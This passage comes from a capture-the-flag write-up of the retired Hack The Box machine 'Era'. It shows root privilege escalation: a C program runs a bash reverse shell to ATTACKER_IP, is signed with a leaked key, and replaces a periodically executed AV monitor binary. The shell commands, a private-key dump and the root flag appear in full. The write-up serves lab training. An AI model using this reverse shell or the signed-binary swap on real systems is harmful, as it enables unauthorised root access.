ec:b9:14:a9:c6:6e:48:a8:45:45:46:1a:69:08:a9:e6:93:e0:
72:14:03:60:85:46:74:eb:d8:96:a8:d1:3c:00:20:6d:23:7e:
9a:2f:fb:2f:ed:d9:68:54:36:da:3d:2f:4e:2f:70:3d:d9:03:
3b:84:3d:99:ea:b3:f2:fd:ae:ca:03:67:51:1e:dc:3c:67:38:
2e:e5:dc:f9:24:95:a2:22:0e:b5:e2:1c:09:1d:36:b8:3b:37:
d5:c2:79:0a:f4:15:44:b4:c4:b3:01:31:50:84:25:3d:93:0a:
8e:a5:5c:ab:5c:23:90:39:16:00:1c:c8:40:83:ce:4c:3e:1d:
d8:12:60:53:da:a1:82:6a:e6:bc:47:fb:18:6e:0e:a4:43:af:
de:35:4a:0e
fcoomans@kali:~/htb/era/loot/signing$ openssl pkey -in key.pem -text -noout
Private-Key: (2048 bit, 2 primes)
modulus:
00:aa:28:7d:f4:f9:16:63:93:18:95:24:c9:ee:07:
a6:f5:74:36:d6:51:ac:37:a7:64:32:42:f5:8c:6c:
<SNIP>
🧪 Exploitation
🐚 Reverse shell
I generate a Bash -i reverse shell using https://www.revshells.com

I create a temporary directory /tmp/fc. I then create a rev.c C program that will run the reverse shell and compile it.
eric@era:~$ mkdir /tmp/fc
eric@era:~$ cd /tmp/fc
eric@era:/tmp/fc$ cat > rev.c <<EOF
cat > rev.c <<EOF
> #include <stdlib.h>
>
> int main() {
> int i;
>
> i = system("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4445 0>&1'");
>
> return 0;
> }
EOF
eric@era:/tmp/fc$ cat rev.c
#include <stdlib.h>
int main() {
int i;
i = system("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4445 0>&1'");
return 0;
}
eric@era:/tmp/fc$ gcc -o monitor rev.c
✒️ Signing
I know that the signing.zip file is located under /var/www/file/files/. The file is copied to the temp directory and unzipped.
eric@era:/tmp/fc$ cp /var/www/file/files/signing.zip .
eric@era:/tmp/fc$ unzip signing.zip
Archive: signing.zip
inflating: key.pem
inflating: x509.genkey
The private key and certificate are extracted from the key.pem file and stored in its own file.
eric@era:/tmp/fc$ cat key.pem | sed -n '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/p' > yurivich.key
<-----/,/-----END PRIVATE KEY-----/p' > yurivich.key
eric@era:/tmp/fc$ cat key.pem | sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' > yurivich.crt
<-----/,/-----END CERTIFICATE-----/p' > yurivich.crt
openssl cms is used to sign monitor with the certificate and key. Note that the -noattr -nocerts flags are critical.
eric@era:/tmp/fc$ openssl cms -sign -in monitor -out signature -signer yurivich.crt -inkey key.pem -binary -outform DER -noattr -nocerts
The signature is then added to the .text_sig section and the signed file is named signed_monitor.
eric@era:/tmp/fc$ objcopy --add-section .text_sig=signature monitor signed_monitor
A nc listener is started on the attack host.
fcoomans@kali:~/htb/era/signing$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
And /opt/AV/periodic-checks/monitor is replaced with the malicious signed_monitor file.
eric@era:/tmp/fc$ cp signed_monitor /opt/AV/periodic-checks/monitor
The reverse shell is caught by the nc listener.
fcoomans@kali:~/htb/era/signing$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.79] 49750
bash: cannot set terminal process group (7036): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# id
uid=0(root) gid=0(root) groups=0(root)
💰 Post Exploitation
🏆 root.txt
root is the holder of the root.txt flag.
root@era:~# cat /root/root.txt
703f1322bd20ac361ee37b331b175df1
When your reverse shell passes signature verification, you’re not hacking — you’re complying. 🐚✒️
And Era has been Pwned! 🎉

🧠 Lessons Learned
- Virtual host fuzzing can uncover critical hidden functionality, especially when the main site appears static.
- Insecure direct object references (IDOR) remain a common and severe vulnerability when developers assume obscurity equals security.
- Exposed backups are a goldmine—credentials, source code, and even private keys may be hiding inside.
- The
ssh2PHP extension can lead to shell access when paired with functionality likessh2.exec()and developer slip-ups in input validation. - Password reuse or storing hashes in publicly exposed files makes privilege escalation trivial.
- Signed executables aren’t secure if the signing key and certificate are leaked—signature validation is only as good as the secrecy of the signer’s credentials.
⚠️ Disclaimer
This write-up covers a retired HTB machine and is for educational purposes only. All IPs, credentials, and flags exist in a lab environment. My username is intentionally used throughout this write-up to build my cybersecurity brand.